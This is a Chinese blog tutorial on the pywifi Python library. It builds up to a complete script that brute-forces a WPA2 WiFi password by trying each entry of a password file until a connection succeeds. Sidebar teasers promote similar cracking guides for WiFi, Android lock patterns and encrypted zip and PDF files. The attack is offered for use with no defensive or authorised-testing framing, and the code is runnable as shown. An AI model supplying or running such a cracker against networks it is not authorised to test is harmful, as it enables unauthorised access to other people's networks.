文档章节

Python 使用 pywifi 模块 破解wifi密码

 阿豪boy
发布于 07/18 19:36
字数 581
阅读 66
收藏 15

git

https://github.com/awkman/pywifi

 

常见常量

from pywifi import const
# Define interface status.
IFACE_DISCONNECTED = 0
IFACE_SCANNING = 1
IFACE_INACTIVE = 2
IFACE_CONNECTING = 3
IFACE_CONNECTED = 4

 

获取网卡对象

import pywifi
 
wifi = pywifi.PyWiFi()  # 创建一个无线对象
iface = wifi.interfaces()[0]  # 取第一个无限网卡

 

查看对象属性

for k in dir(iface):
    print(k, getattr(iface, k))
add_network_profile <bound method Interface.add_network_profile of <pywifi.iface.Interface object at 0x0000022022D59668>>
connect <bound method Interface.connect of <pywifi.iface.Interface object at 0x0000022022D59668>>
disconnect <bound method Interface.disconnect of <pywifi.iface.Interface object at 0x0000022022D59668>>
name <bound method Interface.name of <pywifi.iface.Interface object at 0x0000022022D59668>>
network_profiles <bound method Interface.network_profiles of <pywifi.iface.Interface object at 0x0000022022D59668>>
remove_all_network_profiles <bound method Interface.remove_all_network_profiles of <pywifi.iface.Interface object at 0x0000022022D59668>>
remove_network_profile <bound method Interface.remove_network_profile of <pywifi.iface.Interface object at 0x0000022022D59668>>
scan <bound method Interface.scan of <pywifi.iface.Interface object at 0x0000022022D59668>>
scan_results <bound method Interface.scan_results of <pywifi.iface.Interface object at 0x0000022022D59668>>
status <bound method Interface.status of <pywifi.iface.Interface object at 0x0000022022D59668>>

 

查看网卡名称

print(iface.name())
Intel(R) Dual Band Wireless-AC 3165

 

断开wifi连接

    iface.disconnect()

 

连接wifi 

    # 新建配置文件
    profile = pywifi.Profile()
    # 设置网络名称
    profile.ssid = ssid
    # 打开连接
    profile.auth = const.AUTH_ALG_OPEN
    # 设置加密方式,是列表类型
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    # 设置加密单元
    profile.cipher = const.CIPHER_TYPE_CCMP
    # 设置密码
    profile.key = pwd

    tmp_profile = iface.add_network_profile(profile)

    iface.connect(tmp_profile)

 

扫描wifi信息,由于扫描需要时间,在扫描指令下达后需要等待一会才能拿到结果

    iface.scan()
    # iface.remove_all_network_profiles()
    time.sleep(3)
    a = iface.scan_results()
    for i in a:
        print(i, getattr(i, 'ssid'), getattr(i, 'freq'))
<pywifi.profile.Profile object at 0x0000017FB4C0D438> xjtu 2412000
<pywifi.profile.Profile object at 0x0000017FB4C0D048> xjtu 5785000
<pywifi.profile.Profile object at 0x0000017FB4C0D4E0> Mr.Yure 2412000
<pywifi.profile.Profile object at 0x0000017FB4C0D550> xjtu666 2412000

 

 

密码文件

1234
12345
123456
123456789
1111
2222

 

暴力破解,需要移除配置文件,然后断开连接,等一会后重新连接,返回是否连接成功

每次移除所有配置文件是因为如果有可以用的连接的话,会自动连接上可用的网络,这样就不知道是密码正确还是使用的记住密码的wifi。。。。

不过会清除所有记住的密码。。。。

import pywifi
import sys
import time
from pywifi import const

wifi = pywifi.PyWiFi()  # 创建一个无线对象
iface = wifi.interfaces()[0]  # 取第一个无限网卡

def test_conn(ssid, pwd):
    # iface.remove_all_network_profiles()
    iface.disconnect()
    time.sleep(1)
    # 新建配置文件
    profile = pywifi.Profile()
    # 设置网络名称
    profile.ssid = ssid
    # 打开连接
    profile.auth = const.AUTH_ALG_OPEN
    # 设置加密方式,是列表类型
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    # 设置加密单元
    profile.cipher = const.CIPHER_TYPE_CCMP
    # 设置密码
    profile.key = pwd

    tmp_profile = iface.add_network_profile(profile)

    iface.connect(tmp_profile)
    time.sleep(1)
    return iface.status() == const.IFACE_CONNECTED


with open('pwds.txt') as f:
    pwd_list = [i.strip() for i in f.readlines()]

for p in pwd_list:
    if test_conn('ahaoboy', p):
        print(p)

 

© 著作权归作者所有

共有 人打赏支持
粉丝 23
博文 1090
码字总数 735685
作品 0
西安
双手奉上WIFI破解教程, 还请各位Python大佬收下

0x01 Pywifi模块简单介绍 用一个连WIFI的栗子,概括他的大概用法吧... [Python] -- coding: UTF-8 -- import pywifi from pywifi import const #引用一些定义 profile = pywifi.Profile() #...

Python新世界
07/29
0
0
用 Python 破解 WIFI 密码,走到哪里都能连 WIFI ,就是这么强!

关键时刻,第一时间送达! WIFI 破解,Python 程序员必学技能。WIFI 已经完全普及,现在 Python 程序员没网,走到哪里都不怕!教你们一招,如何在图片中提取 Python 脚本代码。图片发送至手机...

xjtuhit
04/24
0
0
WiFi破解这个技术很普通!Python几行代码就可以做到!进来就学会

是不是还在为WiFi密码发愁,甚至有时候还忘掉自己家的WiFi密码,没关系,今天我给大家带来几个破解WiFi密码的案例!我先说明下这个东西一点都不高端,甚至看起来有点糟糕,而且用的是单线程~...

糖宝lsh
昨天
0
0
朋友的手机锁屏密码忘了,想去刷机被我拦下了,Python可以破解!

码忘了,想去刷机被我拦下了,Python可以破解! Android屏幕解锁图案利用Python破解 在 Android 手机上,我们可以通过设置锁定图案来当做密码对手机锁屏。 在 Android 存储时使用的是明文转换...

Python新世界
07/07
0
0
Python暴力破解教程: Zip加密文件, pdf加密书籍在线爆破!

前言 有些人对Python的暴力破解始终抱有嗤之以鼻的看法,然而却也不得不承认,这种思想和技术也是我们必须要会的。 此教程完全是为了让不懂的人,或者还没学会的人掌握他,各位看官最下留情。...

Python新世界
07/31
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

Confluence 6 删除垃圾内容

属性(profile)垃圾 属性垃圾的定义为,一个垃圾用户在 Confluence 创建了用户,但是这个用户在自己的属性页面中添加了垃圾 URL。 如果你有很多垃圾用户在你的系统中创建了属性,你可以使用...

honeymose
今天
0
0
qduoj~前端~二次开发~打包docker镜像并上传到阿里云容器镜像仓库

上一篇文章https://my.oschina.net/finchxu/blog/1930017记录了怎么在本地修改前端,现在我要把我的修改添加到部署到本地的前端的docker容器中,然后打包这个容器成为一个本地镜像,然后把这...

虚拟世界的懒猫
今天
1
0
UML中 的各种符号含义

Class Notation A class notation consists of three parts: Class Name The name of the class appears in the first partition. Class Attributes Attributes are shown in the second par......

hutaishi
今天
1
0
20180818 上课截图

小丑鱼00
今天
1
0
Springsecurity之SecurityContextHolderStrategy

注:下面分析的版本是spring-security-4.2.x,源码的github地址是: https://github.com/spring-projects/spring-security/tree/4.2.x 先上一张图: 图1 SecurityContextHolderStrategy的三个......

汉斯-冯-拉特
今天
1
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部